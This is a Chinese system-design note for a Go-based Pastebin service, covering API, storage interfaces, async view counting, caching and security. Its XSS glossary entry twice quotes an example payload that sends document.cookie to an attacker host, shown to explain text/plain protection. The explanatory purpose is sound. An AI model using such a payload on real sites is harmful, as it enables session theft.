设计Pastebin
这是一个基于 Go 语言设计思想(强调简洁、并发、接口和组合)的细化 Pastebin 系统设计方案。该方案不包含任何代码,专注于架构和组件的交互逻辑。
1. 什么是Pastebin?
类似 Pastebin 的服务允许用户通过网络存储纯文本,并生成唯一的 URL 来访问上传的数据。此类服务也用于快速在网络上共享数据,因为用户只需传递 URL 即可让其他用户查看。
2. 系统需求与目标
此设计旨在满足以下具体要求:
功能要求
- 文本上传: 用户必须能够上传纯文本数据。
- 唯一 URL 生成: 每次成功上传后,系统必须返回一个唯一的、可公开访问的 URL。
- 内容访问: 用户可以通过访问该 URL 来查看原始上传的纯文本内容。
- 过期设置: 用户在上传时必须能够指定一个过期时间(例如:10分钟、1小时、1天、永不)。数据一旦过期,URL 应失效。
- 自定义别名: 用户可以选择性地为他们的粘贴提供一个自定义的、人类可读的 URL 别名(例如
paste.bin/my-config)。 - 内容类型限制: 系统只接受纯文本内容。
非功能性需求
- 高可用性: 系统必须具有高正常运行时间(例如 99.99%),对读取和写入请求都能持续响应。
- 可靠性(持久性): 一旦系统确认上传成功,数据不应丢失(直到过期)。
- 低延迟: 读取和写入操作的 p99 延迟应保持在较低水平(例如 200 毫秒内)。
- 不可猜测的 URL: 自动生成的 URL 密钥必须是随机的,并且具有足够大的密钥空间,以防止恶意用户通过枚举或猜测来发现他人的粘贴。
- 可扩展性: 系统必须能够水平扩展,以应对不断增长的流量和数据存储需求。
扩展要求
- 分析: 系统应能追踪每个粘贴被访问的次数。
- API 访问: 必须提供一个 RESTful API,允许第三方开发者以编程方式使用此服务(例如,用于
curl上传)。
3. 一些设计考虑
- 内容限制: 为防止滥用,每次粘贴的最大文本量将限制为 10MB。
- 自定义 URL 限制: 自定义别名将有合理的长度和字符限制,以保持 URL 数据库的一致性。
4. 容量估算与约束
- 读写比: 5:1(读取密集型)。
- 写入量: 每天 100 万次新粘贴,约等于 12 QPS(每秒查询)。
- 读取量: 每天 500 万次读取,约等于 58 QPS。
- 存储量: 假设平均粘贴大小为 10KB,每天将产生 10GB 的新数据。10 年的总存储需求约为 36TB(不考虑副本和开销)。
- 密钥空间: 使用 8 位 Base64 字符串(
64^8)将提供超过 281 万亿的唯一组合,这对于 10 年 36 亿的粘贴量来说绰绰有余,使得密钥碰撞的概率极低。 - 带宽: 写入入口约 120 KB/s,读取出口约 0.6 MB/s。
- 缓存: 遵循 80/20 原则,缓存 20% 的热门读取请求,需要约 10GB 的缓存内存。
5. 系统 API
服务将通过 RESTful API 公开,接收和返回 JSON。
-
POST /paste/add- 请求体 (Body):
paste_data(字符串, 必需),custom_url(字符串, 可选),expire_date(字符串, 可选)。 - 成功响应 (201):
{"url": "http://paste.bin/ShortKey"}
- 请求体 (Body):
-
GET /paste/get/{api_paste_key}- 参数:
api_paste_key(字符串, 必需)。 - 成功响应 (200): 返回原始的纯文本数据(
Content-Type: text/plain)。 - 失败响应 (404): 如果粘贴不存在或已过期。
- 参数:
-
DELETE /paste/delete/{api_paste_key}- 成功响应 (200):
{"status": "deleted"}
- 成功响应 (200):
6. 数据库设计(Go 接口思想)
Go 的哲学强调通过接口进行解耦。应用层的业务逻辑不应依赖于任何特定的数据库实现。相反,它将依赖于一组定义了所需行为的接口。
-
数据结构
Paste:ShortKey(String): 主键,8位随机 Base64 字符串。CustomAlias(String): 可选的二级索引。Content(Bytes): 存储小于 64KB 的内联内容。ContentS3Path(String): 存储大于 64KB 的内容的 S3 路径。ExpirationTimestamp(Int64): Unix 时间戳,用于 TTL。ViewCount(Int64): 浏览次数。CreationTimestamp(Int64): 创建时间。
-
存储接口
PasteStore(元数据):Put(ctx context.Context, p *Paste) error: 将一个新的Paste记录写入数据库。Get(ctx context.Context, key string) (*Paste, error): 通过ShortKey检索Paste记录。GetByAlias(ctx context.Context, alias string) (*Paste, error): 通过CustomAlias检索Paste记录。IncrementViewCount(ctx context.Context, key string, count int) error: 批量或原子地增加一个键的浏览次数。
-
对象存储接口
BlobStore(大文件):Upload(ctx context.Context, key string, data io.Reader) (string, error): 将数据流上传到对象存储,并返回路径。Download(ctx context.Context, path string) (io.ReadCloser, error): 返回一个指向对象内容的数据流。
-
缓存接口
Cache:Get(ctx context.Context, key string) (*Paste, error): 从缓存中获取Paste对象。Set(ctx context.Context, key string, p *Paste, expiration time.Duration) error: 将Paste对象存入缓存。
这种设计允许在不更改业务逻辑的情况下,使用不同的实现(例如,DynamoPasteStore vs MySQLPasteStore)并使用内存中的 MockStore 进行单元测试。
7. 高层设计
系统由以下几个解耦的组件构成:
-
负载均衡器 (LB): L7 负载均衡器,将流量分发到应用服务器。
-
应用层 (App Layer): 一组无状态的 Go HTTP 服务器实例。
-
缓存 (Cache): 分布式缓存(如 Redis),实现了
Cache接口。 -
存储层:
- 元数据数据库 (Metadata DB): NoSQL 数据库(如 DynamoDB),实现了
PasteStore接口。 - 对象存储 (Object Storage): S3,实现了
BlobStore接口。
- 元数据数据库 (Metadata DB): NoSQL 数据库(如 DynamoDB),实现了
-
异步分析系统:
- 缓冲通道 (Buffered Channel): 在应用服务器内存中,用于临时缓冲分析事件。
- 消息队列 (Message Queue): 如 Kafka/SQS,用于持久化分析事件。
- 分析服务 (Analytics Service): 一个独立的 Go 服务,用于消费队列消息并批量更新数据库。
8. 组件设计(Go 思想细化)
a. 应用层 (HTTP Handlers)
每个 HTTP 处理器都将利用 Go 的并发、流处理和上下文特性。
-
上下文 (Context):
net/http为每个请求提供一个context.Context。此Context将被传递到所有下游调用(PasteStore,BlobStore,Cache),以实现超时控制和请求取消的传播。 -
写入路径 (
handleAddPaste):-
限制: 使用 Go 标准库的
http.MaxBytesReader来限制请求体大小为 10MB,防止 DoS 攻击。 -
密钥生成 (无 KGS): 处理器在本地生成一个 8 位的随机 Base64 字符串。
-
内容存储 (内联):
- 如果数据小于 64KB,它将被直接放入
Paste结构的Content字段。 - 如果数据大于 64KB,它将被(作为
io.Reader)流式上传到BlobStore,返回的路径存储在ContentS3Path中。
- 如果数据小于 64KB,它将被直接放入
-
元数据写入:
- 处理器调用
PasteStore.Put。 - 冲突处理: 鉴于 12 QPS 的低写入量和 的巨大密钥空间,密钥碰撞概率极低。设计将采用简单的重试策略:如果
Put因主键冲突而失败,处理器将简单地生成一个新密钥并重试该操作(最多 3 次)。这消除了对复杂的 KGS 的需求。
- 处理器调用
-
返回: 返回 201 Created 和 URL。
-
-
读取路径 (
handleGetPaste):-
缓存: 调用
Cache.Get。 -
缓存命中:
- 立即返回缓存的
Paste内容。 - 异步地将
ShortKey发送到分析通道。
- 立即返回缓存的
-
缓存未命中:
-
调用
PasteStore.Get(传入Context)。 -
如果未找到,返回 404。
-
懒惰删除: 检查
ExpirationTimestamp。如果已过期,返回 404(就像未找到一样)。 -
内容检索 (Go 流处理):
- 如果内容在
Content字段(内联),则直接返回。 - 如果内容在
ContentS3Path,则调用BlobStore.Download。此方法返回一个io.ReadCloser(一个流)。 - 处理器将使用
io.Copy将这个 S3 流直接复制到 HTTP 响应流中。关键优势: 10MB 的文件不会被加载到应用服务器的内存中,使内存占用保持恒定和低位。
- 如果内容在
-
异步分析: 将
ShortKey发送到分析通道。 -
异步缓存: 启动一个新的 goroutine("即发即忘")来调用
Cache.Set,将此Paste对象存入缓存。这确保了用户的响应不会因为等待缓存写入而延迟。
-
-
b. 异步分析服务 (Go 并发模式)
此组件用于解决 ViewCount 的扩展要求,同时不影响主请求的延迟。
-
非阻塞发送:
- HTTP 处理器(在
handleGetPaste中)将ShortKey发送到一个带缓冲的 Go channel。 - 该发送操作将使用
select和default关键字,使其成为非阻塞的。 - 设计决策: 如果通道已满(意味着分析系统出现反压),该浏览事件将被丢弃。这是一种“优雅降级”,它保证了主读取服务的可用性(可用性 > 100% 准确的分析)。
- HTTP 处理器(在
-
内存聚合 (Worker Goroutine):
- 一个单独的 goroutine 从缓冲通道中读取
ShortKey。 - 它使用一个
map[string]int在内存中聚合计数。
- 一个单独的 goroutine 从缓冲通道中读取
-
批量刷新 (Ticker):
- 使用
time.Ticker(例如每 5 秒钟)或当聚合的 map 达到一定大小时,此 goroutine 会将这些批量计(例如{"abc123": 150, "xyz789": 80})推送到一个持久的消息队列(如 Kafka 或 SQS)。
- 使用
-
数据库消费者 (独立服务):
- 一个完全独立的服务(或一组 Go worker)消费 Kafka/SQS 消息。
- 它从队列中读取批量计数,并调用
PasteStore.IncrementViewCount来批量更新数据库。 - 优点: 这种多级解耦保护了主数据库免受读取请求(58 QPS)引起的写入风暴。
9. 数据清理(数据库 TTL)
此设计不使用应用层的手动清理任务。将依赖所选 NoSQL 数据库(如 DynamoDB)的内置 TTL 功能。应用层在 PasteStore.Put 时只需正确设置 ExpirationTimestamp 字段。数据库将在后台自动、异步地删除过期的条目,对性能影响最小。
10. 数据分区和复制
- 分区(Sharding): 将依赖于 NoSQL 数据库(如 DynamoDB 或 Cassandra)的自动分区功能。
ShortKey作为主键,其高随机性确保了数据和负载能够均匀分布在所有分区上。 - 复制: 数据库的内置复制功能将用于确保数据的可靠性(持久性)和高可用性。
11. 缓存和负载均衡器
- 负载均衡器: L7 负载均衡器将终止 HTTPS,并根据 HTTP 路径将
/paste/add,/paste/get等请求路由到应用层服务器组。 - 缓存: 使用分布式 LRU 缓存(如 Redis)。缓存层实现了在第 6 节中定义的
Cache接口。
12. 安全和性能
-
安全:
- XSS 防护: 所有
handleGetPaste请求将强制设置 HTTP 响应头Content-Type: text/plain; charset=utf-8。这指示浏览器将内容仅渲染为纯文本,即使其中包含<script>标签,也使其无法执行,从而从根本上消除了 XSS 漏洞。 - 速率限制: 在负载均衡器或 Go HTTP 中间件中实施基于 IP 和 API 密钥的速率限制。
- 输入验证: 严格验证
custom_url的格式,只允许使用安全的 URL 字符。
- XSS 防护: 所有
-
性能分析 (Go 特性):
- Go 应用将导入
net/http/pprof包。 - 这会自动在
/debug/pprof/端点上启用 Go 的运行时分析工具。运维团队可以随时连接到任何正在运行的实例,以分析 CPU 热点、内存分配以及检查是否有 goroutine 泄露,而无需重启服务。这是确保长期稳定性和高性能的关键。
- Go 应用将导入
13. 知识点
L7负载均衡器
L7指的是 OSI 7 层网络模型 中的第 7 层:应用层
- L4 负载均衡器(如 AWS NLB)工作在第 4 层(传输层)。它只“看”得到 IP 地址和端口号(例如
1.2.3.4:80)。它会把 TCP/UDP 流量盲目地转发给后端的服务器,但不理解流量的内容。
- L7 负载均衡器(如 Nginx, HAProxy, AWS ALB)则“看”得懂应用层数据,比如 HTTP。它可以读取 HTTP 请求的 URL、Headers、Cookies 等,然后决定把这个流量交给哪一个Docker 容器或哪一台服务器去处理。
例子:
看到请求 GET /paste/get/abc,将其转发到“读取服务器组”。
看到请求 POST /paste/add,将其转发到“写入服务器组”。
看到请求 /debug/pprof/(Go 的性能分析),将其转发到特定的运维端口或直接拒绝。
DoS (Denial of Service)
拒绝服务攻击,是一种网络攻击,其目的是耗尽目标服务器的资源,使其无法响应正常用户的请求。http.MaxBytesReader就像一个“最大 10MB”的门框,任何超大的包裹都会被立即拒收,从而保护了商店内部的正常运作。
DDoS (Distributed DoS): 指的是“分布式拒绝服务攻击”,即攻击者从全球成千上万个被黑的电脑(僵尸网络)同时发动攻击,更难防御。
"S3" (Simple Storage Service)
在系统设计中,"S3" 已经成为 “对象存储”的代名词。
AWSS3Store 结构体在内部会使用 AWS Go SDK(亚马逊官方提供的 Go 库)去连接你的 S3 桶、验证身份,并下载文件。
io.Copy 的意思是:Go 应用从 S3 读取一小块数据(比如 64KB),然后立刻把这一小块数据写入到给用户的 HTTP 响应中。然后它再读下一块,再写下一块。
- 关键点: 它是一个流 (Stream) 。服务器不需要先把 整个 10MB 文件下载到自己的内存或硬盘中,再转发给用户。它像一根水管,数据从 S3 流进来,直接就流向用户,服务器只占用极小的内存(那个 64KB 的缓冲区)。
为什么不直接给用户 S3 链接?
- 安全和权限: S3 桶必须是私有的,如果设为公开,任何人都可以爬取所有数据。
- 检查过期逻辑: 粘贴的过期时间(
ExpirationTimestamp)存在元数据数据库里,S3 根本不知道。 - 统计分析 (
ViewCount): 如果用户直接访问 S3,服务器根本不知道这次访问发生了。 - 抽象和解耦: 假设公共 URL 是
paste.bin/abc123,用户只认这个。今天你用 S3 存,明天你想换成阿里云 OSS,只需要改服务器的后端实现。 - 安全标头 (XSS 防护): 服务器在返回数据时,会强制加上
Content-Type: text/plain头,通过服务器中转能 100% 保证这个安全策略被执行。
QPS (Queries Per Second) 类比
QPS(每秒查询)是衡量服务器处理能力的核心指标。
-
12 (写) / 58 (读) QPS: 这是非常低的流量。一台几年前的笔记本电脑都能轻松处理。这个级别的项目,一台小小的云服务器就足够了。
-
中小型应用(例如,一个热门的技术博客或小型电商):
- QPS: 100 ~ 1,000。这需要几台服务器做负载均衡。
-
大型应用(例如,B 站、优酷):
- QPS: 100,000 ~ 500,000+。
- 这不是指视频流(视频流走 CDN,是带宽问题),而是指打开 App、刷新推荐、读取评论、发送弹幕这些“元数据”请求。在高峰期(比如 B 站跨年晚会),QPS 会瞬间冲到这个量级,需要庞大的服务器集群。
-
超大型应用(例如,淘宝、京东、抖音):
- QPS: 1,000,000+ (百万级别)。
- 淘宝/京东(双十一): 几年前他们公布的峰值“下单”QPS 就达到了 50 万+/秒。注意,这只是创建订单的 QPS,而“浏览商品”、“搜索”的 QPS 会比这个高 10 到 100 倍,轻松达到数百万 QPS。
- 抖音(刷新推荐): 全球有数亿人同时在刷,每次一刷,就要请求一次推荐算法。这个系统的 QPS 也是数百万级别。
XSS (Cross-Site Scripting)
跨站脚本攻击 (Cross-Site Scripting),攻击者想办法在你的网站(paste.bin)上,注入并执行他的恶意 JavaScript 脚本,从而在其他用户的浏览器上运行。
攻击示例:
- 攻击者创建一个 Paste,内容不是纯文本,而是:
这是一段正常的文字... <script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script> - 受害者登录了
paste.bin,然后点击了攻击者发来的链接paste.bin/malicious。 - 浏览器开始渲染这个页面。它读到
<script>标签时,它以为这是paste.bin网站的正常功能,于是执行了这段 JavaScript。 - 后果: 这段脚本偷走了登录凭证(
document.cookie),并把它发送到了攻击者的服务器。攻击者现在可以盗用你的账号。
XSS 防护 (Content-Type: text/plain) 是如何工作的?
服务器响应请求时,在 HTTP 头部加了一行:Content-Type: text/plain。浏览器收到恶意 Paste 后,看到了这个命令。它会禁用 HTML 渲染引擎,只是把内容原封不动地显示在屏幕上,包括尖括号: 这是一段正常的文字... <script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
批处理(Batch Processing)
我之前自己做的小玩具中,对rabbitMQ的消息都是一条消息来,就对mysql进行一次操作,经过这个项目,了解到消费者可以先对传来的消息做聚合,相同的操作就可以合并为一个操作。
优点:
- 性能:在内存中聚合
map[string]int是纳秒级的操作。而写入数据库是毫秒级的操作(慢了100万倍)。你用100万次“快操作”换来了1次“慢操作”,系统总吞吐量指数级提升。 - 成本:像 AWS DynamoDB 这样的云数据库是按“写入次数”收费的。你把1000条消息聚合成1次写入,成本直接降低了99.9% 。
- 数据库保护:你的主数据库(MySQL/DynamoDB)是系统的核心,非常宝贵。如果每秒有 10,000 次访问,你就用 10,000 QPS 的写入去冲击数据库,它很快就会崩溃。通过批处理,你可能把这 10,000 QPS 的访问转换成每 10 秒才 1 次的批量写入,数据库会非常健康。
代价就是“实时性”的牺牲。
- 单条处理: 用户访问后,
ViewCount1 秒内就更新了。 - 批量处理: 用户访问后,
ViewCount可能要等到5 秒钟或 10 秒钟(你设定的聚合周期)之后才更新。